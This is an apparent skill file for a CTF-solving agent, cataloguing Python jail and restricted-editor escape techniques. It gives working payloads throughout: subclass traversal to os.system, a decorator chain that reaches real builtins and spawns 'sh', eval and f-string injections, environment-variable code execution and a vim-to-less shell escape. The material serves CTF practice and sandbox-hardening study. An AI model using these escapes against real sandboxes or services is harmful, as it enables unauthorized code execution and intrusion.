ctf-agent 1.2.0

package/skills/ctf-misc/pyjails.md

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+# CTF Misc - Python Jails
+
+## Table of Contents
+- [Identifying Jail Type](#identifying-jail-type)
+- [Systematic Enumeration](#systematic-enumeration)
+  - [Test Basic Features](#test-basic-features)
+  - [Test Blocked AST Nodes](#test-blocked-ast-nodes)
+  - [Brute-Force Function Names](#brute-force-function-names)
+- [Oracle-Based Challenges](#oracle-based-challenges)
+  - [Binary Search](#binary-search)
+  - [Linear Search](#linear-search)
+- [Building Strings Without Concat](#building-strings-without-concat)
+- [Classic Escape Techniques](#classic-escape-techniques)
+  - [Via Class Hierarchy](#via-class-hierarchy)
+  - [Compile Bypass](#compile-bypass)
+  - [Unicode Bypass](#unicode-bypass)
+  - [Getattr Alternatives](#getattr-alternatives)
+- [Walrus Operator Reassignment](#walrus-operator-reassignment)
+  - [Octal Escapes](#octal-escapes)
+- [Magic Comment Escape](#magic-comment-escape)
+- [Mastermind-Style Jails](#mastermind-style-jails)
+  - [Find Input Length](#find-input-length)
+  - [Find Characters](#find-characters)
+  - [Find Positions](#find-positions)
+- [Server Communication](#server-communication)
+- [Magic File ReDoS](#magic-file-redos)
+- [Environment Variable RCE](#environment-variable-rce)
+- [func_globals to Module Chain Traversal (PlaidCTF 2013)](#func_globals-to-module-chain-traversal-plaidctf-2013)
+- [Restricted Charset Number Generation (PlaidCTF 2013)](#restricted-charset-number-generation-plaidctf-2013)
+- [Multi-Stage Payload with Class Attribute Persistence (PlaidCTF 2013)](#multi-stage-payload-with-class-attribute-persistence-plaidctf-2013)
+- [dir() Attribute Lookup Escape Bypassing __class__ Blocklist (InCTF 2018)](#dir-attribute-lookup-escape-bypassing-__class__-blocklist-inctf-2018)
+- [Restricted vim Escape via K (man) to :!sh (TokyoWesterns CTF 4th 2018)](#restricted-vim-escape-via-k-man-to-sh-tokyowesterns-ctf-4th-2018)
+- [Python Name Mangling and Attribute Access (Tokyo Westerns 2017)](#python-name-mangling-and-attribute-access-tokyo-westerns-2017)
+- [Decorator-Based Escape (No Call, No Quotes, No Equals)](#decorator-based-escape-no-call-no-quotes-no-equals)
+  - [Technique 1: `function.__name__` as String Keys](#technique-1-function__name__-as-string-keys)
+  - [Technique 2: Name Extractor via getset_descriptor](#technique-2-name-extractor-via-getset_descriptor)
+  - [Technique 3: Accessing Real Builtins via \_\_loader\_\_](#technique-3-accessing-real-builtins-via-__loader__)
+  - [Full Exploit Chain](#full-exploit-chain)
+  - [How the Decorator Chain Works (Bottom-Up)](#how-the-decorator-chain-works-bottom-up)
+  - [Variations](#variations)
+  - [Constraints Checklist for This Technique](#constraints-checklist-for-this-technique)
+  - [When \_\_loader\_\_ Is Not Available](#when-__loader__-is-not-available)
+- [Quine + Context Detection for Code Execution (BearCatCTF 2026)](#quine--context-detection-for-code-execution-bearcatctf-2026)
+- [Restricted Character Repunit Decomposition (BearCatCTF 2026)](#restricted-character-repunit-decomposition-bearcatctf-2026)
+- [Python eval() Jail Escape via Tuple Injection (Codegate 2018)](#python-eval-jail-escape-via-tuple-injection-codegate-2018)
+- [Python f-string Config Injection via Stored eval (INShAck 2018)](#python-f-string-config-injection-via-stored-eval-inshack-2018)
+- [Hints Cheat Sheet](#hints-cheat-sheet)
+
+---
+
+## Identifying Jail Type
+
+**Error patterns reveal filtering:**
+
+| Error Pattern | Meaning | Approach |
+|---------------|---------|----------|
+| `name not allowed: X` | Identifier blacklist | Unicode, hex escapes |
+| `unknown function: X` | Function whitelist | Brute-force names |
+| `node not allowed: X` | AST filtering | Avoid blocked syntax |
+| `binop types must be int/bool` | Type restrictions | Use int operations |
+
+---
+
+## Systematic Enumeration
+
+### Test Basic Features
+```python
+tests = [
+    ("1+1", "arithmetic"),
+    ("True", "booleans"),
+    ("'hello'", "string literals"),
+    ("'\\x41'", "hex escapes"),
+    ("1==1", "comparison"),
+]
+```
+
+### Test Blocked AST Nodes
+```python
+blocked_tests = [
+    ("'a'+'b'", "string concat"),
+    ("'ab'[0]", "indexing"),
+    ("''.join", "attribute access"),
+    ("[1,2]", "lists"),
+    ("lambda:1", "lambdas"),
+]
+```
+
+### Brute-Force Function Names
+```python
+import string
+for c in string.printable:
+    result = test(f"{c}(65)")
+    if "unknown function" not in result:
+        print(f"FOUND: {c}()")
+```
+
+---
+
+## Oracle-Based Challenges
+
+**Common functions:** `L()`, `Q(i, x)`, `S(guess)`
+- `L()` = length of secret
+- `Q(i, x)` = compare position i with value x
+- `S(guess)` = submit answer
+
+### Binary Search
+```python
+def find_char(i):
+    lo, hi = 32, 127
+    while lo < hi:
+        mid = (lo + hi) // 2
+        cmp = query(i, mid)
+        if cmp == 0:
+            return chr(mid)
+        elif cmp == -1:  # mid < flag[i]
+            lo = mid + 1
+        else:
+            hi = mid - 1
+    return chr(lo)
+
+flag_len = int(test("L()"))
+flag = ''.join(find_char(i) for i in range(flag_len))
+```
+
+### Linear Search
+```python
+for i in range(flag_len):
+    for c in range(32, 127):
+        if query(i, c) == 0:
+            flag += chr(c)
+            break
+```
+
+---
+
+## Building Strings Without Concat
+
+```python
+# Hex escapes
+"'\\x66\\x6c\\x61\\x67'"  # => 'flag'
+
+def to_hex_str(s):
+    return "'" + ''.join(f'\\x{ord(c):02x}' for c in s) + "'"
+```
+
+---
+
+## Classic Escape Techniques
+
+### Via Class Hierarchy
+```python
+''.__class__.__mro__[1].__subclasses__()
+# Find <class 'os._wrap_close'>
+```
+
+### Compile Bypass
+```python
+exec(compile('__import__("os").system("sh")', '', 'exec'))
+```
+
+### Unicode Bypass
+```python
+ｅｖａｌ = eval  # Fullwidth characters
+```
+
+### Getattr Alternatives
+```python
+"{0.__class__}".format('')
+vars(''.__class__)
+```
+
+---
+
+## Walrus Operator Reassignment
+
+```python
+# Reassign constraint variable
+(abcdef := "all_allowed_letters")
+```
+
+### Octal Escapes
+```python
+# \141 = 'a', \142 = 'b', etc.
+all_letters = '\141\142\143...'
+(abcdef := "{all_letters}")
+print(open("/flag.txt").read())
+```
+
+---
+
+## Magic Comment Escape
+
+```python
+# -*- coding: raw_unicode_escape -*-
+\u0069\u006d\u0070\u006f\u0072\u0074 os
+```
+
+**Useful encodings:**
+- `utf-7`
+- `raw_unicode_escape`
+- `rot_13`
+
+---
+
+## Mastermind-Style Jails
+
+**Output interpretation:**
+```text
+function("aaa...") => "1 0"  # 1 exists wrong pos, 0 correct
+```
+
+### Find Input Length
+```python
+for length in range(1, 50):
+    result = test('a' * length)
+    print(f"len={length}: {result}")
+```
+
+### Find Characters
+```python
+for c in charset:
+    result = test(c * SECRET_LEN)
+    if result[0] + result[1] > 0:
+        print(f"{c}: count={result[0] + result[1]}")
+```
+
+### Find Positions
+```python
+known = ""
+for pos in range(SECRET_LEN):
+    for c in candidate_chars:
+        test_str = known + c + 'Z' * (SECRET_LEN - len(known) - 1)
+        result = test(test_str)
+        if result[1] > len(known):
+            known += c
+            break
+```
+
+---
+
+## Server Communication
+
+```python
+from pwn import *
+context.log_level = 'error'
+
+def test_with_delay(cmd, delay=5):
+    r = remote('host', port, timeout=20)
+    r.sendline(cmd.encode())
+    import time
+    time.sleep(delay)
+    try:
+        return r.recv(timeout=3).decode()
+    except:
+        return None
+    finally:
+        r.close()
+```
+
+---
+
+## Magic File ReDoS
+
+**Evil magic file:**
+```text
+0 regex (a+)+$ Vulnerable pattern
+```
+
+**Timing oracle:**
+```python
+def measure(payload):
+    start = time.time()
+    requests.post(URL, data={'magic': payload})
+    return time.time() - start
+```
+
+---
+
+## Environment Variable RCE
+
+```bash
+PYTHONWARNINGS=ignore::antigravity.Foo::0
+BROWSER="/bin/sh -c 'cat /flag' %s"
+```
+
+**Other dangerous vars:**
+- `PYTHONSTARTUP` - executed on interactive
+- `PYTHONPATH` - inject modules
+- `PYTHONINSPECT` - drop to shell
+
+---
+
+## Decorator-Based Escape (No Call, No Quotes, No Equals)
+
+**Pattern (Ergastulum):** `ast.Call` banned, no quotes, no `=`, no commas, charset `a-z0-9()[]:._@\n`. Exec context has `__builtins__={}` and `__loader__=_frozen_importlib.BuiltinImporter`.
+
+**Key insight:** Decorators bypass `ast.Call` — `@expr` on `def name(): body` compiles to `name = expr(func)`, calling `expr` without an `ast.Call` node. This also provides assignment without `=`.
+
+### Technique 1: `function.__name__` as String Keys
+
+Define a function to create a string matching a dict key:
+```python
+def __builtins__():   # __builtins__.__name__ == "__builtins__"
+    0
+def exec():           # exec.__name__ == "exec"
+    0
+```
+Use as dict subscript: `some_dict[exec.__name__]` accesses `some_dict["exec"]`.
+
+### Technique 2: Name Extractor via getset_descriptor
+
+`function_type.__dict__['__name__'].__get__` takes a function and returns its `.__name__` string. This enables chained decorators:
+
+```python
+@dict_obj.__getitem__        # Step 2: dict["key_name"] → value
+@func.__class__.__dict__[__name__.__name__].__get__  # Step 1: extract .__name__
+def key_name():              # function with __name__ == "key_name"
+    0
+# Result: key_name = dict_obj["key_name"]
+```
+
+### Technique 3: Accessing Real Builtins via __loader__
+
+```python
+__loader__.load_module.__func__.__globals__["__builtins__"]
+```
+Contains real `exec`, `__import__`, `print`, `compile`, `chr`, `type`, `getattr`, `setattr`, etc.
+
+### Full Exploit Chain
+
+```python
+# Step 1: Define helper functions for string key extraction
+def __builtins__():
+    0
+def __name__():
+    0
+def __import__():
+    0
+
+# Step 2: Extract real __import__ from loader's globals
+# Equivalent to: __import__ = globals_dict["__builtins__"]["__import__"]
+@__loader__.load_module.__func__.__globals__[__builtins__.__name__].__getitem__
+@__builtins__.__class__.__dict__[__name__.__name__].__get__
+def __import__():
+    0
+
+# Step 3: Import os module
+# Equivalent to: os = __import__("os")
+@__import__
+@__builtins__.__class__.__dict__[__name__.__name__].__get__
+def os():
+    0
+
+# Step 4: Get a shell
+# Equivalent to: sh = os.system("sh")
+@os.system
+@__builtins__.__class__.__dict__[__name__.__name__].__get__
+def sh():
+    0
+```
+
+### How the Decorator Chain Works (Bottom-Up)
+
+```python
+@outer_func
+@inner_func
+def name():
+    0
+```
+Executes as: `name = outer_func(inner_func(function_named_name))`
+
+For the `__import__` extraction:
+1. `__builtins__.__class__` → `<class 'function'>` (type of our defined function)
+2. `.__dict__[__name__.__name__]` → `function.__dict__["__name__"]` → getset_descriptor
+3. `.__get__` → descriptor's getter (takes function, returns its `.__name__` string)
+4. Applied to `def __import__(): 0` → returns string `"__import__"`
+5. `globals_dict["__builtins__"].__getitem__("__import__")` → real `__import__` function
+
+### Variations
+
+**Execute arbitrary code via exec + code object:**
+```python
+def __code__():
+    0
+@exec_function
+@__builtins__.__class__.__dict__[__code__.__name__].__get__
+def payload():
+    ... # code to execute (still subject to charset/AST restrictions)
+```
+
+**Import any module by name:**
+```python
+@__import__
+@__builtins__.__class__.__dict__[__name__.__name__].__get__
+def subprocess():  # or any valid module name using allowed chars
+    0
+```
+
+### Constraints Checklist for This Technique
+
+- [x] No `ast.Call` nodes (decorators are `ast.FunctionDef` with decorator_list)
+- [x] No quotes (strings from `function.__name__`)
+- [x] No `=` sign (decorators provide assignment)
+- [x] No commas (single-argument decorator calls)
+- [x] No `+`, `*`, operators (pure attribute/subscript chains)
+- [x] Works with empty `__builtins__` (accesses real builtins via `__loader__`)
+
+### When __loader__ Is Not Available
+
+If `__loader__` isn't in scope but you have any function object `f`:
+- `f.__class__` → function type
+- `f.__globals__` → module globals where `f` was defined
+- `f.__globals__["__builtins__"]` → real builtins (if `f` is from a normal module)
+
+If you have a class `C`:
+- `C.__init__.__globals__` → globals of the module defining `C`
+
+**References:** 0xL4ugh CTF 2025 "Ergastulum" (442pts, Elite), GCTF 2022 "Treebox"
+
+---
+
+## Quine + Context Detection for Code Execution (BearCatCTF 2026)
+
+**Pattern (The Boy is Quine):** Server asks for a quine (program that prints its own source code), validates it by running in a subprocess, then `exec()`s it in the main process with different globals.
+
+**Exploit:** Build a dual-purpose quine that:
+1. Prints itself (passes quine validation in subprocess)
+2. Executes payload only in the server process (detected via globals difference)
+
+```python
+# Context gate: "subprocess" module exists in server globals but not in subprocess
+s='s=%r;print(s%%s,end="");__import__("os").system("cat /app/flag.txt")if"subprocess"in globals()else 0';print(s%s,end="");__import__("os").system("cat /app/flag.txt")if"subprocess"in globals()else 0
+```
+
+**Key insight:** `exec()` in the server process inherits the server's globals (imported modules like `subprocess`), while the subprocess validation has a clean environment. Use `"module_name" in globals()` or `"module_name" in dir()` as a gate to distinguish contexts. The quine structure `s='s=%r;...';print(s%s,end="")` is the classic Python quine pattern.
+
+---
+
+## Restricted Character Repunit Decomposition (BearCatCTF 2026)
+
+**Pattern (The Brig):** Pick exactly 2 characters for your entire expression. Server evaluates `eval(long_to_bytes(eval(expr)))` — the outer eval runs the decoded Python code.
+
+**Strategy:** Choose `1` and `+`. Decompose the target integer into a sum of repunits (111, 1111, 11111, etc.):
+```python
+from Crypto.Util.number import bytes_to_long
+
+target = bytes_to_long(b'eval(input())')  # → 13-byte integer
+
+def repunit(k):
+    return (10**k - 1) // 9  # 111...1 with k digits
+
+terms = []
+remaining = target
+while remaining > 0:
+    k = 1
+    while repunit(k + 1) <= remaining:
+        k += 1
+    terms.append('1' * k)
+    remaining -= repunit(k)
+
+expr = '+'.join(terms)  # e.g., "111...1+111...1+11+1+1"
+# len(expr) ≈ 2561 chars (fits 4096 limit)
+```
+
+**Key insight:** Any positive integer can be written as a sum of repunits (numbers like 1, 11, 111, ...). The greedy algorithm produces ~O(log²(n)) terms. This converts a 2-character constraint into arbitrary code execution via `long_to_bytes()`. On the second unrestricted prompt, run `open('/flag.txt').read()`.
+
+**Detection:** Challenge restricts input character set to exactly 2 characters. Double-eval pattern (`eval(decode(eval(...)))`).
+
+---
+
+## Python eval() Jail Escape via Tuple Injection (Codegate 2018)
+
+When the server does `eval("your." + input + "()")`, inject a tuple to execute arbitrary code:
+
+```python
+# Server code: eval("your." + user_input + "()")
+# Inject: dig(),eval(eval('raw\x5finput()')),
+# Becomes: eval("your.dig(),eval(eval('raw\x5finput()')),()") 
+# = tuple of (your.dig(), eval(arbitrary), None)
+
+# Alternative: inject payload via Name variable during registration
+# Name = "__import__('os').system('/bin/sh')"
+# Input: dig(),eval(name),exit
+# eval("your.dig(),eval(name),exit()") -> executes payload from name
+```
+
+**Key insight:** Python `eval()` on a comma-separated expression creates a tuple, allowing multiple expressions to execute. `\x5f` hex escapes bypass underscore blacklists. When direct code injection is blocked, store payload in a variable (registration name, environment) and reference it via `eval(varname)` in the eval context. The general pattern: if the server wraps your input in `eval("prefix" + input + "suffix")`, use commas to break out of the intended expression and inject additional expressions as tuple elements.
+
+---
+
+## Python f-string Config Injection via Stored eval (INShAck 2018)
+
+**Pattern:** A config creator uses Python f-strings to render values. Store a payload as one config value, then reference it from another using eval(). Register key "a" with value `__import__("os").system("cat flag")`, then key "eval(a)" with value "{}".
+
+```python
+# Step 1: Store payload as config value
+register_key("a", '__import__("os").system("cat flag.txt")')
+
+# Step 2: Create key whose name is eval(a) with empty format placeholder
+register_key("eval(a)", "{}")
+
+# Step 3: When config renders f"eval(a) = {value}",
+# the f-string evaluates eval(a) in the key position,
+# executing the stored payload
+show_config()  # triggers f-string rendering -> RCE
+```
+
+**Key insight:** Python f-strings evaluate expressions in curly braces at render time. If config keys or values are rendered in f-strings, storing `eval(stored_key)` as a key name causes arbitrary code execution when the config is displayed. Two-step: store payload as value, reference via eval in key name.
+
+---
+
+## Hints Cheat Sheet
+
+| Hint | Meaning |
+|------|---------|
+| "I love chars" | Single-char functions |
+| "No words" | Multi-char blocked |
+| "Oracle" | Query functions to leak |
+| "knight/chess" | Mastermind game |
+
+---
+
+## func_globals to Module Chain Traversal (PlaidCTF 2013)
+
+**Pattern:** Access `os.system` through the `func_globals` dictionary of a loaded class's method, without importing any modules.
+
+```python
+# Step 1: Find catch_warnings in subclass list (commonly index 49 or 59)
+[x for x in ().__class__.__base__.__subclasses__()
+    if x.__name__ == "catch_warnings"][0]
+
+# Step 2: Access func_globals via __init__ or __repr__
+g = ().__class__.__base__.__subclasses__()[59].__init__.func_globals
+# Python 2: .__init__.im_func.func_globals
+# Python 3: .__init__.__globals__
+
+# Step 3: Traverse module chain: warnings → linecache → os
+g["linecache"].__dict__["os"].system("cat /flag.txt")
+
+# One-liner:
+().__class__.__base__.__subclasses__()[59].__init__.__globals__["linecache"].__dict__["os"].system("id")
+```
+
+**Key insight:** The `warnings.catch_warnings` class is almost always loaded. Its `__init__.__globals__` contains a reference to `linecache`, which imports `os`. This chain avoids direct `import` statements. The subclass index varies by Python version — enumerate with `[(i,x.__name__) for i,x in enumerate(''.__class__.__mro__[1].__subclasses__())]`.
+
+---
+
+## Restricted Charset Number Generation (PlaidCTF 2013)
+
+**Pattern:** Generate arbitrary integers using only `~` (bitwise NOT), `<<` (left shift), `[]<[]` (False=0), and `{}<[]` (True=1) when numeric literals are forbidden.
+
+```python
+def brainfuckize(nb):
+    """Convert integer to expression using only ~, <<, <, [], {}"""
+    if nb == -2: return "~({}<[])"    # ~True = -2
+    if nb == -1: return "~([]<[])"    # ~False = -1
+    if nb == 0:  return "([]<[])"     # False = 0
+    if nb == 1:  return "({}<[])"     # True = 1
+    if nb % 2:   return f"~{brainfuckize(~nb)}"  # Odd: ~(complement)
+    return f"({brainfuckize(nb//2)}<<({{}}<[]))"   # Even: half << 1
+
+# brainfuckize(65) → "(~(~([]<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))"
+# Then use: "%c" % 65 → "A"
+```
+
+**Key insight:** Combine with `"%c" % ascii_value` to build arbitrary strings character by character. This bypasses jails that strip all alphanumeric characters while allowing operators and brackets.
+
+---
+
+## Python Name Mangling and Attribute Access (Tokyo Westerns 2017)
+
+Three sandbox escape vectors that exploit Python's name visibility model.
+
+**1. Name mangling bypass:** Python "private" `__method` names in a class are stored as `_ClassName__method`. They are accessible via `dir()` and `getattr()` — not truly private.
+
+```python
+# Name mangling bypass
+getattr(obj, dir(obj)[0])()  # calls _ClassName__method
+```
+
+**2. Function constant leakage:** All string literals inside a function body are stored in `func_code.co_consts` (Python 2) or `__code__.co_consts` (Python 3) and are readable from outside.
+
+```python
+# func_code local variable leak (Python 2)
+func.func_code.co_consts  # reveals all string literals in function
+
+# Python 3 equivalent
+func.__code__.co_consts
+```
+
+**3. Module docstring as data store:** Module-level triple-quoted strings become `module.__doc__`, readable without needing file access.
+
+```python
+# Module docstring access
+import target_module
+target_module.__doc__  # reads module-level triple-quoted string
+```
+
+**Key insight:** Python `__` prefix is name-mangled, not truly private — `dir(obj)` + `getattr()` bypass it. `func_code.co_consts` exposes all literal constants defined inside a function. Module docstrings are always readable as `__doc__` without file access.
+
+---
+
+## Multi-Stage Payload with Class Attribute Persistence (PlaidCTF 2013)
+
+**Pattern:** Store intermediate code fragments across multiple jail submissions by writing to class attributes of subclasses.
+
+```python
+# Stage 1: Store code fragment on a subclass
+().__class__.__base__.__subclasses__()[-2].payload = "import os; os.system('cat /flag.txt')"
+
+# Stage 2 (next submission): Retrieve and execute
+exec(().__class__.__base__.__subclasses__()[-2].payload)
+```
+
+**Key insight:** Class attributes persist across separate `eval()`/`exec()` calls within the same process. If the jail limits input length but allows multiple submissions, split the payload across submissions using subclass attributes as storage. Use `IncrementalDecoder` or any persistent subclass as the storage target.
+
+---
+
+## Restricted vim Escape via K (man) to :!sh (TokyoWesterns CTF 4th 2018)
+
+**Pattern (shrine):** Sandbox launches a locked-down `vim` with `:shell`/`:!` mapped out and a secure-mode profile. Command-mode escapes are blocked, but normal-mode `K` (look up keyword under cursor via `keywordprg`, default `man`) still works. `man` internally paginates via `less`, and `less` itself has a documented shell-escape: typing `!sh` from the pager spawns a shell with the user's real privileges.
+
+**Exploit steps:**
+1. Open any file in the restricted vim (or create one inline with `vim -c 'new' -c 'put! =\"ls\"'`).
+2. In normal mode, place the cursor on any identifier and press `K`. vim runs `man <word>`.
+3. `man` pipes output to `less`. Inside `less`, press `!sh` and hit Enter — the pager fork/execs a real shell.
+4. Alternatively, once inside `less` type `v` to launch `$EDITOR`; if `EDITOR=vim` is unset the default editor still allows shell escape via `:!`.
+
+```text
+vim file.txt        # restricted vim opens
+(cursor on "ls")
+K                   # runs `man ls` → pager `less`
+!sh                 # less shell-escape → real shell
+```
+
+**Hardening signals to check first:** `keywordprg` value (`:set keywordprg?`), `secure` mode, whether `shell` option has been cleared, and the `LESSSECURE=1` environment variable. `LESSSECURE=1` specifically disables `!`, `|`, `v`, and `s` inside `less` — its absence is a green light for this escape.
+
+**Key insight:** Restricted editors almost always leak via chained pagers and keyword lookups. Catalog every command that spawns a child process (`K`/`keywordprg`, `:grep`, `:make`, `gx` for URL open, `:Man`) before touching `:!`. If even one child process uses `less` or another escape-friendly pager without `LESSSECURE=1`, you have a shell.
+
+**References:** TokyoWesterns CTF 4th 2018 — writeup 10859; GTFOBins `vim`/`less`/`man` entries
+
+---
+
+## dir() Attribute Lookup Escape Bypassing __class__ Blocklist (InCTF 2018)
+
+**Pattern:** A sandbox substring-filters literal strings `__class__`, `__bases__`, `__subclasses__`, `eval`, and `import`, but `dir(obj)` is allowed and returns the attribute names as strings. Use `dir([])` to look up forbidden attribute names by index, then chain `getattr` calls to reach `object.__subclasses__()` without ever typing the blocked literals.
+
+```python
+# Blacklist: "__class__", "__subclasses__", "eval", "import", "exec"
+# Allowed: dir(), getattr(), list literals, integer literals
+
+# Step 1: find the index of "__class__" in dir([])
+# dir([]) == ['__add__', '__class__', '__contains__', ...]
+i_class = 1
+base_attr = 34           # index of "__subclasses__" in dir(getattr([], dir([])[1]))
+
+# Step 2: chain getattr with indexed dir() lookups
+cls       = getattr([],  dir([])[i_class])           # list.__class__
+base      = getattr(cls, dir(cls)[dir(cls).index("__base__")])   # object
+subs      = getattr(base, dir(base)[base_attr])()    # list of all classes
+
+# Step 3: find a useful class — often subprocess.Popen
+for klass in subs:
+    if "Popen" in getattr(klass, dir(klass)[dir(klass).index("__name__")]):
+        break
+klass(["/bin/sh", "-c", "cat flag"])
+```
+
+**Key insight:** `dir()` is a *data* function: it returns plain strings. A substring blocklist scanning the source never sees the blocked words because they are generated at runtime from attribute table bytes. Any Python jail that filters source text without AST walking is defeated by one layer of indirection — `dir`, `globals().get(key)`, or `vars(obj)[key]`. When auditing a jail, always ask: "does the filter see the literal or the *value*?". If it only sees the literal, `dir()` indexing is the shortest escape.
+
+**References:** InCTF 2018 — The Most Secure File Uploader, writeup 11528